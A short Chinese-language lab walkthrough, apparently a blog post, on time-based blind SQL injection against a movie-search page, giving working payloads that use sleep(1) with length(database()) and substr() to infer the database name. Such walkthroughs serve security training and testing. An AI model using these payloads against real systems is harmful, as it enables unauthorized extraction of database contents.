time-based sql injection
目标:获取数据库名长度,数据库名
1、情况描述,无论输入什么信息都是回复如下,

2、猜测sql语句大概为 select * from movies where moviename = '?';
3、构造sql语句判断是否为注入点(判断为注入点)
select * from movies where moviename = '?123' or sleep(1)#如果执行sleep,那么就为注入点

4、找到一个准确的moviename,这一步非常重要,sleep()要想作为判断的条件,只能放在最后,这样就是A and B and C的格式了,只有A和B都为真的时候,C才能执行(C才能作为条件),在其他关卡可以找到有个电影的名字为Iron Man,所以构造的sql为Iron Man' and length(database())>3 and sleep(1)#
这里的length(database()) > 3,选择>或者<更有利于缩小范围。最终判断=5的时候sleep(1)生效。

5、猜测数据库名称,依次猜测出数据库5位长度的各个字符
Iron Man' and substr(database(),1,1)='a' and sleep(1)#
浙公网安备 33010602011771号